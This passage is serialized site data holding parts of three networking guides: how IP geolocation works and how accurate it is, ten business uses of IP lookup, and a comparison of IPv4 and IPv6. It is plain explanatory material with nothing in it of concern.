cooperation.",[33,239359,239361],{"id":239360},"bgp-routing-data","BGP Routing Data",[16,239363,239364],{},"Border Gateway Protocol (BGP) data reveals how IP blocks are routed across the internet. By analyzing routing paths, researchers can infer which networks operate in which regions.",[33,239366,239368],{"id":239367},"other-data-sources","Other Data Sources",[41,239370,239371,239377,239383,239389],{},[44,239372,239373,239376],{},[47,239374,239375],{},"WHOIS records"," — registration info for IP blocks",[44,239378,239379,239382],{},[47,239380,239381],{},"Ping and traceroute measurements"," — latency patterns suggest physical distance",[44,239384,239385,239388],{},[47,239386,239387],{},"User-contributed data"," — some services crowdsource location checks",[44,239390,239391,239394],{},[47,239392,239393],{},"Government and regulatory filings"," — ISP license data often includes service areas",[33,239396,239398],{"id":239397},"combining-the-data","Combining the Data",[16,239400,239401],{},"Major geolocation providers (MaxMind, IPinfo, DB-IP) aggregate all these sources, cross-reference them, and apply statistical models. The result is a database that maps each IP block to a location with a confidence estimate.",[11,239403,239405],{"id":239404},"accuracy-levels","Accuracy Levels",[16,239407,239408],{},"IP geolocation accuracy varies dramatically depending on what you measure.",[33,239410,239412],{"id":239411},"country-level-99","Country-Level: ~99%",[16,239414,239415],{},"Country identification is extremely reliable. IP blocks are allocated to specific RIRs, and RIR data clearly indicates the registered country. Errors are rare — mostly involving satellite connections or corporate networks spanning borders.",[33,239417,239419],{"id":239418},"region-or-state-level-8095","Region or State-Level: ~80–95%",[16,239421,239422],{},"Region accuracy is generally good in North America and Europe, where ISP infrastructure data is well-documented. It drops in regions where ISP data is sparse or inaccurate.",[33,239424,239426],{"id":239425},"city-level-5080","City-Level: ~50–80%",[16,239428,239429],{},"City-level accuracy is the most variable. Many IP addresses resolve to the location of the ISP's infrastructure — not the end user. A user in a suburb may appear as being in the nearest major city where the ISP's data center sits.",[33,239431,239433],{"id":239432},"street-level-not-reliable","Street-Level: Not Reliable",[16,239435,239436,239437,239440],{},"IP geolocation ",[47,239438,239439],{},"cannot"," pinpoint a specific street address. Any service claiming street-level accuracy from IP alone is misleading. That requires GPS, Wi-Fi positioning, or cell tower data.",[11,239442,239444],{"id":239443},"what-affects-accuracy","What Affects Accuracy?",[33,239446,239448],{"id":239447},"vpns-and-proxies","VPNs and Proxies",[16,239450,239451],{},"A VPN routes your traffic through a server in another location. Websites see the VPN server's IP, not yours. Your geolocation result reflects the VPN exit point — which could be in another country entirely.",[33,239453,239455],{"id":239454},"mobile-carriers","Mobile Carriers",[16,239457,239458],{},"Mobile networks aggregate user traffic through centralized gateways. A user in rural Texas might appear as being in Dallas or Houston because that is where the carrier's gateway sits. Mobile IP geolocation is notoriously unreliable below the state level.",[33,239460,239462],{"id":239461},"corporate-networks","Corporate Networks",[16,239464,239465],{},"Large companies often route all internet traffic through a few central points. A branch office in London might appear to be in New York if the company's exit point is there.",[33,239467,239469],{"id":239468},"satellite-internet","Satellite Internet",[16,239471,239472],{},"Satellite users connect through ground stations, which could be far from their actual location. Someone in rural Alaska using Starlink might geolocate to a ground station in Seattle.",[33,239474,239476],{"id":239475},"shared-and-dynamic-ips","Shared and Dynamic IPs",[16,239478,239479],{},"Multiple users can share one public IP through NAT. The ISP may assign the same IP to different users in different locations over time, making the mapping less precise.",[11,239481,536],{"id":535},[33,239483,239485],{"id":239484},"content-localization","Content Localization",[16,239487,239488],{},"Streaming services, news websites, and e-commerce platforms use IP geolocation to show region-appropriate content — language, currency, pricing, and licensing restrictions.",[33,239490,239492],{"id":239491},"fraud-detection","Fraud Detection",[16,239494,239495],{},"Banks and payment processors flag transactions from unusual locations. If a credit card is used from an IP in a country the cardholder has never visited, the transaction may be blocked or challenged.",[33,239497,239499],{"id":239498},"traffic-analytics","Traffic Analytics",[16,239501,239502],{},"Website operators analyze visitor geography to understand their audience, optimize server placement, and tailor marketing campaigns by region.",[33,239504,239506],{"id":239505},"compliance-and-licensing","Compliance and Licensing",[16,239508,239509],{},"Content licensing deals are often territory-specific. IP geolocation enforces digital rights management — for example, restricting a video to viewers in the EU only.",[33,239511,239513],{"id":239512},"cybersecurity","Cybersecurity",[16,239515,239516],{},"Security teams use geolocation to block traffic from high-risk regions, detect anomalous login patterns, and correlate attack infrastructure with known hosting providers.",[33,239518,239520],{"id":239519},"ad-targeting","Ad Targeting",[16,239522,239523],{},"Advertising platforms use IP-based location to serve regionally relevant ads and measure campaign performance by geography.",[11,239525,239527],{"id":239526},"limitations-and-privacy","Limitations and Privacy",[33,239529,239531],{"id":239530},"key-limitations","Key Limitations",[41,239533,239534,239540,239546,239552,239558],{},[44,239535,239536,239539],{},[47,239537,239538],{},"Not GPS"," — IP geolocation is an estimate, not a precise fix",[44,239541,239542,239545],{},[47,239543,239544],{},"VPN detection is imperfect"," — many VPNs and proxies go undetected",[44,239547,239548,239551],{},[47,239549,239550],{},"Data is always aging"," — ISP assignments change, and databases lag behind",[44,239553,239554,239557],{},[47,239555,239556],{},"Rural areas are less accurate"," — fewer data points mean wider error margins",[44,239559,239560,239563],{},[47,239561,239562],{},"No personal identity"," — an IP address does not reveal who you are, only where the network connection is",[33,239565,239567],{"id":239566},"privacy-considerations","Privacy Considerations",[16,239569,239570],{},"IP geolocation sits in a gray area of privacy law. Under GDPR, IP addresses are considered personal data. Under CCPA, they may qualify as personal information. Key points:",[41,239572,239573,239576,239579,239582],{},[44,239574,239575],{},"Websites collect IP addresses by default — no consent needed for the collection itself",[44,239577,239578],{},"Using IP geolocation for analytics or personalization may require disclosure",[44,239580,239581],{},"Storing IP addresses long-term may trigger data protection obligations",[44,239583,239584],{},"Users can mask their IP with a VPN to limit geolocation tracking",[11,239586,239588],{"id":239587},"improving-your-own-geolocation-data","Improving Your Own Geolocation Data",[16,239590,239591],{},"If you use IP geolocation in your applications:",[41,239593,239594,239600,239606,239612,239618],{},[44,239595,239596,239599],{},[47,239597,239598],{},"Choose a reputable provider"," — MaxMind GeoIP2, IPinfo, and DB-IP are widely used",[44,239601,239602,239605],{},[47,239603,239604],{},"Update regularly"," — IP assignments shift weekly; stale data loses accuracy fast",[44,239607,239608,239611],{},[47,239609,239610],{},"Handle unknowns gracefully"," — not every IP maps to a location; show a fallback rather than wrong data",[44,239613,239614,239617],{},[47,239615,239616],{},"Combine signals"," — pair IP geolocation with browser timezone or language settings for better results",[44,239619,239620,239623],{},[47,239621,239622],{},"Disclose your use"," — tell users when and why you geolocate them",[11,239625,1355],{"id":1354},[41,239627,239628,239631,239634,239637,239640,239643],{},[44,239629,239630],{},"IP geolocation estimates location from IP address databases — not GPS",[44,239632,239633],{},"Accuracy is strong at the country level (~99%) but drops significantly at the city level (~50–80%)",[44,239635,239636],{},"VPNs, mobile carriers, and corporate networks can distort results",[44,239638,239639],{},"Common uses include content localization, fraud detection, analytics, and compliance",[44,239641,239642],{},"IP geolocation cannot identify individuals or pinpoint exact addresses",[44,239644,239645],{},"Privacy regulations like GDPR treat IP addresses as personal data",[11,239647,286],{"id":285},[16,239649,239650],{},"See IP geolocation in action with these free tools:",[41,239652,239653,239658],{},[44,239654,239655,239657],{},[98,239656,239186],{"href":239185}," — Instantly see your public IP and approximate location",[44,239659,239660,239194],{},[98,239661,239193],{"href":239192},{"title":141,"searchDepth":337,"depth":337,"links":239663},[239664,239665,239672,239678,239685,239693,239697,239698,239699],{"id":239241,"depth":337,"text":239242},{"id":239283,"depth":337,"text":239284,"children":239666},[239667,239668,239669,239670,239671],{"id":239290,"depth":343,"text":239291},{"id":239353,"depth":343,"text":239354},{"id":239360,"depth":343,"text":239361},{"id":239367,"depth":343,"text":239368},{"id":239397,"depth":343,"text":239398},{"id":239404,"depth":337,"text":239405,"children":239673},[239674,239675,239676,239677],{"id":239411,"depth":343,"text":239412},{"id":239418,"depth":343,"text":239419},{"id":239425,"depth":343,"text":239426},{"id":239432,"depth":343,"text":239433},{"id":239443,"depth":337,"text":239444,"children":239679},[239680,239681,239682,239683,239684],{"id":239447,"depth":343,"text":239448},{"id":239454,"depth":343,"text":239455},{"id":239461,"depth":343,"text":239462},{"id":239468,"depth":343,"text":239469},{"id":239475,"depth":343,"text":239476},{"id":535,"depth":337,"text":536,"children":239686},[239687,239688,239689,239690,239691,239692],{"id":239484,"depth":343,"text":239485},{"id":239491,"depth":343,"text":239492},{"id":239498,"depth":343,"text":239499},{"id":239505,"depth":343,"text":239506},{"id":239512,"depth":343,"text":239513},{"id":239519,"depth":343,"text":239520},{"id":239526,"depth":337,"text":239527,"children":239694},[239695,239696],{"id":239530,"depth":343,"text":239531},{"id":239566,"depth":343,"text":239567},{"id":239587,"depth":337,"text":239588},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand how IP geolocation determines your approximate location. Learn about geolocation databases, accuracy limits, and real-world applications.",{"immutable":363},"\u002Fguides\u002Fip-geolocation-how-it-works",{"title":239236,"description":239700},"guides\u002Fip-geolocation-how-it-works","Jvmb6pELpvCFDBy6TdQYGpGVnduhiY6h5GZYIa-XumE",{"id":239707,"title":239708,"body":239709,"date":235803,"description":240221,"extension":361,"meta":240222,"navigation":363,"path":240223,"readingTime":1710,"seo":240224,"stem":240225,"__hash__":240226},"guides\u002Fguides\u002Fip-lookup-use-cases.md","IP Lookup Use Cases: 10 Practical Applications for Business and Developers",{"type":8,"value":239710,"toc":240205},[239711,239715,239718,239721,239725,239728,239748,239754,239758,239761,239775,239780,239784,239787,239801,239806,239810,239813,239827,239832,239836,239839,239865,239870,239874,239877,239891,239896,239900,239903,239917,239922,239926,239929,239943,239948,239952,239955,239969,239974,239978,239981,239995,240000,240004,240146,240150,240153,240185,240188,240190,240193],[11,239712,239714],{"id":239713},"why-ip-lookup-matters","Why IP Lookup Matters",[16,239716,239717],{},"Every internet request carries an IP address. IP lookup transforms that address into actionable data — country, city, ISP, timezone, ASN, and more. Businesses and developers use this data to make real-time decisions about security, content, compliance, and performance.",[16,239719,239720],{},"Here are 10 practical use cases where IP geolocation delivers measurable value.",[11,239722,239724],{"id":239723},"_1-fraud-detection-and-prevention","1. Fraud Detection and Prevention",[16,239726,239727],{},"When a transaction comes from a country the user has never visited, that is a red flag. IP geolocation helps detect:",[41,239729,239730,239736,239742],{},[44,239731,239732,239735],{},[47,239733,239734],{},"Account takeovers"," — logins from unexpected regions",[44,239737,239738,239741],{},[47,239739,239740],{},"Payment fraud"," — purchases originating from high-risk countries",[44,239743,239744,239747],{},[47,239745,239746],{},"Credential stuffing"," — bulk login attempts from data center IPs",[16,239749,239750,239753],{},[47,239751,239752],{},"Implementation notes",": Cross-reference the IP's country with the user's billing address and recent activity. Flag or block transactions from known proxy or VPN ranges when the risk profile warrants it.",[11,239755,239757],{"id":239756},"_2-content-localization","2. Content Localization",[16,239759,239760],{},"Users expect content in their language, with local currency and region-appropriate pricing. IP lookup makes this automatic.",[41,239762,239763,239766,239769,239772],{},[44,239764,239765],{},"Currency and pricing display",[44,239767,239768],{},"Language selection for first-time visitors",[44,239770,239771],{},"Region-specific product availability",[44,239773,239774],{},"Local shipping options and delivery estimates",[16,239776,239777,239779],{},[47,239778,239752],{},": Use IP country as an initial signal, then allow users to override manually. Combine with browser language headers for more accurate language detection.",[11,239781,239783],{"id":239782},"_3-access-control","3. Access Control",[16,239785,239786],{},"Restrict access to content, services, or features based on geography.",[41,239788,239789,239792,239795,239798],{},[44,239790,239791],{},"Licensing agreements that limit content to specific territories",[44,239793,239794],{},"Regulatory restrictions on financial or healthcare services",[44,239796,239797],{},"Internal tools limited to corporate IP ranges",[44,239799,239800],{},"Beta programs restricted to specific markets",[16,239802,239803,239805],{},[47,239804,239752],{},": IP-based blocking is a first layer — determined users can bypass it with VPNs. Use it for compliance and licensing, not as your only security measure.",[11,239807,239809],{"id":239808},"_4-analytics-and-reporting","4. Analytics and Reporting",[16,239811,239812],{},"Understand where your users come from, both geographically and by network.",[41,239814,239815,239818,239821,239824],{},[44,239816,239817],{},"Traffic breakdown by country, region, and city",[44,239819,239820],{},"ISP and connection type distribution",[44,239822,239823],{},"Identify emerging markets with growing traffic",[44,239825,239826],{},"Correlate geography with conversion rates and engagement",[16,239828,239829,239831],{},[47,239830,239752],{},": IP geolocation data enriches analytics pipelines. Batch-process logs with a geolocation database rather than querying an API per request to reduce latency and cost.",[11,239833,239835],{"id":239834},"_5-regulatory-compliance","5. Regulatory Compliance",[16,239837,239838],{},"Data protection laws increasingly require geography-aware decisions.",[41,239840,239841,239847,239853,239859],{},[44,239842,239843,239846],{},[47,239844,239845],{},"GDPR"," — treat EU visitors as EU data subjects regardless of account settings",[44,239848,239849,239852],{},[47,239850,239851],{},"CCPA"," — provide opt-out mechanisms for California residents",[44,239854,239855,239858],{},[47,239856,239857],{},"Data residency"," — route storage to regional servers based on user location",[44,239860,239861,239864],{},[47,239862,239863],{},"Age verification"," — enforce region-specific age gates",[16,239866,239867,239869],{},[47,239868,239752],{},": IP country is the most reliable signal for determining which regulations apply at first contact. Layer cookie consent and account settings on top.",[11,239871,239873],{"id":239872},"_6-threat-intelligence","6. Threat Intelligence",[16,239875,239876],{},"Security teams use IP data to identify and respond to threats.",[41,239878,239879,239882,239885,239888],{},[44,239880,239881],{},"Block traffic from known malicious IP ranges",[44,239883,239884],{},"Detect port scanning and reconnaissance from data center IPs",[44,239886,239887],{},"Correlate attack patterns across geographic regions",[44,239889,239890],{},"Identify botnets by analyzing ASN and hosting provider patterns",[16,239892,239893,239895],{},[47,239894,239752],{},": Feed IP threat intelligence into SIEM systems. Combine geolocation with reputation scores (spam lists, VPN\u002Fproxy detection) for richer signals.",[11,239897,239899],{"id":239898},"_7-ad-targeting","7. Ad Targeting",[16,239901,239902],{},"Location is one of the strongest signals for ad relevance.",[41,239904,239905,239908,239911,239914],{},[44,239906,239907],{},"Serve region-specific ads and promotions",[44,239909,239910],{},"Measure ad campaign performance by geography",[44,239912,239913],{},"Exclude regions where products or services are unavailable",[44,239915,239916],{},"Adjust bidding strategies based on regional conversion data",[16,239918,239919,239921],{},[47,239920,239752],{},": IP-level targeting is faster and more reliable than GPS-based methods for desktop users. For mobile, combine IP data with device location when available.",[11,239923,239925],{"id":239924},"_8-load-balancing-and-traffic-routing","8. Load Balancing and Traffic Routing",[16,239927,239928],{},"Direct users to the nearest or best-performing server.",[41,239930,239931,239934,239937,239940],{},[44,239932,239933],{},"Route traffic to regional CDN edge nodes",[44,239935,239936],{},"Balance load across geographically distributed data centers",[44,239938,239939],{},"Reduce latency by connecting users to nearby servers",[44,239941,239942],{},"Implement failover based on regional server health",[16,239944,239945,239947],{},[47,239946,239752],{},": DNS-based geographic routing uses IP lookup at the DNS layer. Application-level routing can use more granular geolocation data for smarter decisions.",[11,239949,239951],{"id":239950},"_9-network-debugging","9. Network Debugging",[16,239953,239954],{},"When users report connectivity issues, IP data helps narrow the cause.",[41,239956,239957,239960,239963,239966],{},[44,239958,239959],{},"Identify the user's ISP to check for known outages",[44,239961,239962],{},"Determine if routing issues affect a specific region",[44,239964,239965],{},"Check if the user is behind a corporate proxy or VPN",[44,239967,239968],{},"Compare client IP with expected geo to detect DNS or proxy misconfigurations",[16,239970,239971,239973],{},[47,239972,239752],{},": Log the client IP for every support ticket. A quick IP lookup can rule out server-side issues and point to ISP or regional problems.",[11,239975,239977],{"id":239976},"_10-email-spam-filtering","10. Email Spam Filtering",[16,239979,239980],{},"Email servers use IP reputation to filter spam before it reaches inboxes.",[41,239982,239983,239986,239989,239992],{},[44,239984,239985],{},"Reject or flag emails from IPs on known blocklists",[44,239987,239988],{},"Whitelist IPs from trusted sending domains",[44,239990,239991],{},"Score emails based on the sender's geographic and network profile",[44,239993,239994],{},"Detect compromised accounts sending from unusual IPs",[16,239996,239997,239999],{},[47,239998,239752],{},": Combine IP reputation with content analysis and authentication checks (SPF, DKIM, DMARC) for robust filtering. IP reputation alone catches a significant portion of spam.",[11,240001,240003],{"id":240002},"use-case-decision-table","Use Case Decision Table",[193,240005,240006,240021],{},[196,240007,240008],{},[199,240009,240010,240012,240015,240018],{},[202,240011,1775],{},[202,240013,240014],{},"Key Data Points",[202,240016,240017],{},"Real-Time?",[202,240019,240020],{},"Priority",[211,240022,240023,240035,240048,240060,240073,240085,240097,240109,240121,240134],{},[199,240024,240025,240028,240031,240033],{},[216,240026,240027],{},"Fraud detection",[216,240029,240030],{},"Country, ASN, proxy\u002FVPN flag",[216,240032,3057],{},[216,240034,15446],{},[199,240036,240037,240040,240043,240046],{},[216,240038,240039],{},"Content localization",[216,240041,240042],{},"Country, city, timezone",[216,240044,240045],{},"On first visit",[216,240047,7639],{},[199,240049,240050,240053,240056,240058],{},[216,240051,240052],{},"Access control",[216,240054,240055],{},"Country, IP range",[216,240057,3057],{},[216,240059,15446],{},[199,240061,240062,240065,240068,240071],{},[216,240063,240064],{},"Analytics",[216,240066,240067],{},"Country, region, city, ISP",[216,240069,240070],{},"Batch",[216,240072,7639],{},[199,240074,240075,240078,240081,240083],{},[216,240076,240077],{},"Compliance",[216,240079,240080],{},"Country, region",[216,240082,240045],{},[216,240084,15446],{},[199,240086,240087,240090,240093,240095],{},[216,240088,240089],{},"Threat intelligence",[216,240091,240092],{},"Country, ASN, reputation",[216,240094,3057],{},[216,240096,15446],{},[199,240098,240099,240102,240105,240107],{},[216,240100,240101],{},"Ad targeting",[216,240103,240104],{},"Country, region, city",[216,240106,3057],{},[216,240108,7639],{},[199,240110,240111,240114,240117,240119],{},[216,240112,240113],{},"Load balancing",[216,240115,240116],{},"Country, region, latency data",[216,240118,3057],{},[216,240120,15446],{},[199,240122,240123,240126,240129,240132],{},[216,240124,240125],{},"Network debugging",[216,240127,240128],{},"Country, ISP, ASN",[216,240130,240131],{},"On demand",[216,240133,15466],{},[199,240135,240136,240139,240142,240144],{},[216,240137,240138],{},"Spam filtering",[216,240140,240141],{},"IP reputation, ASN, country",[216,240143,3057],{},[216,240145,15446],{},[11,240147,240149],{"id":240148},"choosing-the-right-data","Choosing the Right Data",[16,240151,240152],{},"Not every use case needs the same granularity:",[41,240154,240155,240161,240167,240173,240179],{},[44,240156,240157,240160],{},[47,240158,240159],{},"Country only"," — compliance, access control, ad targeting",[44,240162,240163,240166],{},[47,240164,240165],{},"Country + region"," — analytics, content localization, load balancing",[44,240168,240169,240172],{},[47,240170,240171],{},"Country + city"," — fraud scoring, analytics, localization",[44,240174,240175,240178],{},[47,240176,240177],{},"ASN + ISP"," — threat intelligence, debugging, spam filtering",[44,240180,240181,240184],{},[47,240182,240183],{},"Proxy\u002FVPN detection"," — fraud prevention, access control",[16,240186,240187],{},"Start with country-level data — it is the most accurate (~99%) and sufficient for most decisions. Invest in city-level and ASN data only when the use case demands it.",[11,240189,286],{"id":285},[16,240191,240192],{},"Explore IP geolocation data with these free tools:",[41,240194,240195,240200],{},[44,240196,240197,240199],{},[98,240198,239193],{"href":239192}," — Look up the country, region, city, ISP, and ASN for any IP address",[44,240201,240202,240204],{},[98,240203,239186],{"href":239185}," — Instantly see your own public IP and approximate geographic location",{"title":141,"searchDepth":337,"depth":337,"links":240206},[240207,240208,240209,240210,240211,240212,240213,240214,240215,240216,240217,240218,240219,240220],{"id":239713,"depth":337,"text":239714},{"id":239723,"depth":337,"text":239724},{"id":239756,"depth":337,"text":239757},{"id":239782,"depth":337,"text":239783},{"id":239808,"depth":337,"text":239809},{"id":239834,"depth":337,"text":239835},{"id":239872,"depth":337,"text":239873},{"id":239898,"depth":337,"text":239899},{"id":239924,"depth":337,"text":239925},{"id":239950,"depth":337,"text":239951},{"id":239976,"depth":337,"text":239977},{"id":240002,"depth":337,"text":240003},{"id":240148,"depth":337,"text":240149},{"id":285,"depth":337,"text":286},"Discover 10 real-world applications for IP geolocation data. From fraud detection to content personalization, learn how businesses use IP lookup.",{"immutable":363},"\u002Fguides\u002Fip-lookup-use-cases",{"title":239708,"description":240221},"guides\u002Fip-lookup-use-cases","FpmF6RbaJLD4MKC_jPSKWd51zF7_F_e59e3fmjRf2Po",{"id":240228,"title":240229,"body":240230,"date":235803,"description":240853,"extension":361,"meta":240854,"navigation":363,"path":240855,"readingTime":1710,"seo":240856,"stem":240857,"__hash__":240858},"guides\u002Fguides\u002Fipv4-vs-ipv6.md","IPv4 vs IPv6: Key Differences and Why the Transition Matters",{"type":8,"value":240231,"toc":240822},[240232,240236,240244,240247,240251,240257,240259,240264,240271,240275,240301,240305,240311,240313,240318,240321,240336,240338,240343,240346,240372,240374,240514,240518,240522,240583,240587,240594,240597,240601,240604,240608,240614,240618,240686,240690,240716,240720,240727,240738,240751,240755,240759,240762,240766,240769,240773,240776,240780,240783,240785,240805,240807,240810],[11,240233,240235],{"id":240234},"the-two-versions-of-ip","The Two Versions of IP",[16,240237,240238,240239,1856,240241,240243],{},"Every device connected to the internet uses an IP address. Today, two versions coexist: ",[47,240240,238838],{},[47,240242,238841],{},". IPv4 has been the standard since 1983, but its address pool is exhausted. IPv6 was designed to replace it — yet the transition is far from complete.",[16,240245,240246],{},"Understanding the differences helps developers, network engineers, and IT teams plan infrastructure and avoid compatibility pitfalls.",[11,240248,240250],{"id":240249},"ipv4-overview","IPv4 Overview",[16,240252,240253,240254,240256],{},"IPv4 uses a ",[47,240255,238752],{}," address space, written as four decimal numbers (0–255) separated by dots.",[33,240258,13018],{"id":88484},[135,240260,240262],{"className":240261,"code":238759,"language":140},[138],[143,240263,238759],{"__ignoreMap":141},[16,240265,240266,240267,240270],{},"Each segment represents 8 bits, giving a total of ",[47,240268,240269],{},"2³² = 4,294,967,296"," addresses — roughly 4.3 billion.",[33,240272,240274],{"id":240273},"key-characteristics","Key Characteristics",[41,240276,240277,240283,240289,240295],{},[44,240278,240279,240282],{},[47,240280,240281],{},"Dotted decimal notation"," — familiar and readable",[44,240284,240285,240288],{},[47,240286,240287],{},"NAT required"," — not enough addresses for every device",[44,240290,240291,240294],{},[47,240292,240293],{},"DHCP for auto-configuration"," — servers assign addresses dynamically",[44,240296,240297,240300],{},[47,240298,240299],{},"IPsec optional"," — security is an add-on, not built-in",[11,240302,240304],{"id":240303},"ipv6-overview","IPv6 Overview",[16,240306,240307,240308,240310],{},"IPv6 uses a ",[47,240309,238789],{}," address space, written as eight groups of four hexadecimal digits separated by colons.",[33,240312,13018],{"id":238793},[135,240314,240316],{"className":240315,"code":238797,"language":140},[138],[143,240317,238797],{"__ignoreMap":141},[16,240319,240320],{},"Leading zeros and consecutive zero groups can be compressed:",[41,240322,240323,240329],{},[44,240324,240325,52609,240327],{},[143,240326,238809],{},[143,240328,238812],{},[44,240330,240331,240333,240334,1525],{},[143,240332,131950],{}," is the IPv6 loopback address (equivalent to ",[143,240335,131982],{},[33,240337,238816],{"id":238815},[16,240339,238819,240340,240342],{},[47,240341,238822],{}," addresses (3.4 × 10³⁸). That is enough for every atom on Earth's surface to have billions of addresses.",[33,240344,240274],{"id":240345},"key-characteristics-1",[41,240347,240348,240354,240360,240366],{},[44,240349,240350,240353],{},[47,240351,240352],{},"Hex-colon notation"," — longer but more compact with compression rules",[44,240355,240356,240359],{},[47,240357,240358],{},"No NAT needed"," — every device can have a public address",[44,240361,240362,240365],{},[47,240363,240364],{},"SLAAC for auto-configuration"," — devices generate their own addresses",[44,240367,240368,240371],{},[47,240369,240370],{},"IPsec required"," — security baked into the protocol",[11,240373,238827],{"id":238826},[193,240375,240376,240386],{},[196,240377,240378],{},[199,240379,240380,240382,240384],{},[202,240381,5867],{},[202,240383,238838],{},[202,240385,238841],{},[211,240387,240388,240398,240408,240418,240429,240440,240452,240464,240476,240488,240501],{},[199,240389,240390,240394,240396],{},[216,240391,240392],{},[47,240393,238850],{},[216,240395,238853],{},[216,240397,151489],{},[199,240399,240400,240404,240406],{},[216,240401,240402],{},[47,240403,238862],{},[216,240405,238865],{},[216,240407,238868],{},[199,240409,240410,240414,240416],{},[216,240411,240412],{},[47,240413,5882],{},[216,240415,238877],{},[216,240417,238880],{},[199,240419,240420,240424,240427],{},[216,240421,240422],{},[47,240423,238887],{},[216,240425,240426],{},"20–60 bytes (variable)",[216,240428,238893],{},[199,240430,240431,240436,240438],{},[216,240432,240433],{},[47,240434,240435],{},"IPsec support",[216,240437,187685],{},[216,240439,47400],{},[199,240441,240442,240447,240449],{},[216,240443,240444],{},[47,240445,240446],{},"Address config",[216,240448,238916],{},[216,240450,240451],{},"SLAAC, DHCPv6, or manual",[199,240453,240454,240458,240461],{},[216,240455,240456],{},[47,240457,220455],{},[216,240459,240460],{},"Routers and sender",[216,240462,240463],{},"Sender only",[199,240465,240466,240471,240473],{},[216,240467,240468],{},[47,240469,240470],{},"Broadcast",[216,240472,3057],{},[216,240474,240475],{},"No (multicast instead)",[199,240477,240478,240483,240486],{},[216,240479,240480],{},[47,240481,240482],{},"NAT requirement",[216,240484,240485],{},"Yes (due to scarcity)",[216,240487,6117],{},[199,240489,240490,240495,240498],{},[216,240491,240492],{},[47,240493,240494],{},"Checksum",[216,240496,240497],{},"In header",[216,240499,240500],{},"Removed (relies on transport layer)",[199,240502,240503,240508,240511],{},[216,240504,240505],{},[47,240506,240507],{},"QoS field",[216,240509,240510],{},"TOS\u002FDSCP (8 bits)",[216,240512,240513],{},"Flow Label (20 bits)",[11,240515,240517],{"id":240516},"the-ipv4-exhaustion-problem","The IPv4 Exhaustion Problem",[33,240519,240521],{"id":240520},"timeline","Timeline",[193,240523,240524,240534],{},[196,240525,240526],{},[199,240527,240528,240531],{},[202,240529,240530],{},"Year",[202,240532,240533],{},"Event",[211,240535,240536,240544,240552,240560,240567,240575],{},[199,240537,240538,240541],{},[216,240539,240540],{},"1981",[216,240542,240543],{},"IPv4 standardized (RFC 791)",[199,240545,240546,240549],{},[216,240547,240548],{},"1995",[216,240550,240551],{},"CIDR introduced to slow depletion",[199,240553,240554,240557],{},[216,240555,240556],{},"2011",[216,240558,240559],{},"IANA allocates last \u002F8 blocks to RIRs",[199,240561,240562,240564],{},[216,240563,96265],{},[216,240565,240566],{},"ARIN (North America) runs out",[199,240568,240569,240572],{},[216,240570,240571],{},"2019",[216,240573,240574],{},"RIPE NCC (Europe) runs out",[199,240576,240577,240580],{},[216,240578,240579],{},"2024",[216,240581,240582],{},"All RIRs exhausted or rationing",[33,240584,240586],{"id":240585},"nat-as-a-workaround","NAT as a Workaround",[16,240588,240589,240590,240593],{},"Network Address Translation (NAT) lets millions of devices share a single public IPv4 address. Your home router assigns private IPs internally (",[143,240591,240592],{},"192.168.x.x",") and translates them to one public IP externally.",[16,240595,240596],{},"NAT works — but it breaks end-to-end connectivity, complicates peer-to-peer protocols, and adds a layer of complexity that IPv6 eliminates entirely.",[33,240598,240600],{"id":240599},"the-ipv4-market","The IPv4 Market",[16,240602,240603],{},"With official pools exhausted, organizations now buy and sell IPv4 addresses. A single \u002F24 block (256 addresses) trades for $40–$60 per IP — over $10,000 per block. This market exists solely because IPv6 adoption has not caught up.",[11,240605,240607],{"id":240606},"ipv6-adoption-where-we-stand","IPv6 Adoption: Where We Stand",[16,240609,240610,240611,240613],{},"Global IPv6 adoption sits at approximately ",[47,240612,5314],{}," as of 2026, measured by Google's statistics on IPv6 user connectivity.",[33,240615,240617],{"id":240616},"leaders-in-adoption","Leaders in Adoption",[193,240619,240620,240632],{},[196,240621,240622],{},[199,240623,240624,240626,240629],{},[202,240625,4657],{},[202,240627,240628],{},"IPv6 Adoption",[202,240630,240631],{},"Key Driver",[211,240633,240634,240645,240655,240665,240675],{},[199,240635,240636,240639,240642],{},[216,240637,240638],{},"India",[216,240640,240641],{},"~70%",[216,240643,240644],{},"Mobile carriers (Jio)",[199,240646,240647,240649,240652],{},[216,240648,4722],{},[216,240650,240651],{},"~65%",[216,240653,240654],{},"ISP deployment (Deutsche Telekom)",[199,240656,240657,240660,240662],{},[216,240658,240659],{},"USA",[216,240661,5327],{},[216,240663,240664],{},"Major ISPs and cloud providers",[199,240666,240667,240669,240672],{},[216,240668,4712],{},[216,240670,240671],{},"~45%",[216,240673,240674],{},"Government push for IPv6",[199,240676,240677,240680,240683],{},[216,240678,240679],{},"China",[216,240681,240682],{},"~35%",[216,240684,240685],{},"Rapid growth, still catching up",[33,240687,240689],{"id":240688},"what-drives-adoption","What Drives Adoption",[41,240691,240692,240698,240704,240710],{},[44,240693,240694,240697],{},[47,240695,240696],{},"Mobile carriers"," shifting to IPv6-only with NAT64 for IPv4 fallback",[44,240699,240700,240703],{},[47,240701,240702],{},"Cloud providers"," (AWS, Azure, GCP) offering native IPv6",[44,240705,240706,240709],{},[47,240707,240708],{},"CDNs"," (Cloudflare, Akamai) enabling dual-stack delivery",[44,240711,240712,240715],{},[47,240713,240714],{},"IoT growth"," demanding more addresses than IPv4 can supply",[11,240717,240719],{"id":240718},"dual-stack-the-transition-strategy","Dual-Stack: The Transition Strategy",[16,240721,240722,240723,240726],{},"Rather than switch overnight, networks run ",[47,240724,240725],{},"both IPv4 and IPv6 simultaneously"," — a dual-stack approach. This means:",[41,240728,240729,240732,240735],{},[44,240730,240731],{},"Every service has both an A record (IPv4) and an AAAA record (IPv6)",[44,240733,240734],{},"Clients connect via whichever protocol is available",[44,240736,240737],{},"Gradually, IPv6 traffic grows while IPv4 traffic shrinks",[16,240739,240740,240741,1459,240744,1466,240747,240750],{},"Transition mechanisms like ",[47,240742,240743],{},"NAT64",[47,240745,240746],{},"DNS64",[47,240748,240749],{},"464XLAT"," allow IPv6-only networks to reach IPv4 services — but they add complexity and potential failure points.",[11,240752,240754],{"id":240753},"common-myths-about-ipv6","Common Myths About IPv6",[33,240756,240758],{"id":240757},"ipv6-is-less-secure-than-ipv4","❌ \"IPv6 is less secure than IPv4\"",[16,240760,240761],{},"IPv6 actually mandates IPsec support. Security issues come from misconfiguration, not the protocol itself. The larger address space also makes scanning vastly harder — brute-force scanning of a \u002F64 subnet would take millions of years.",[33,240763,240765],{"id":240764},"ipv6-slows-down-your-network","❌ 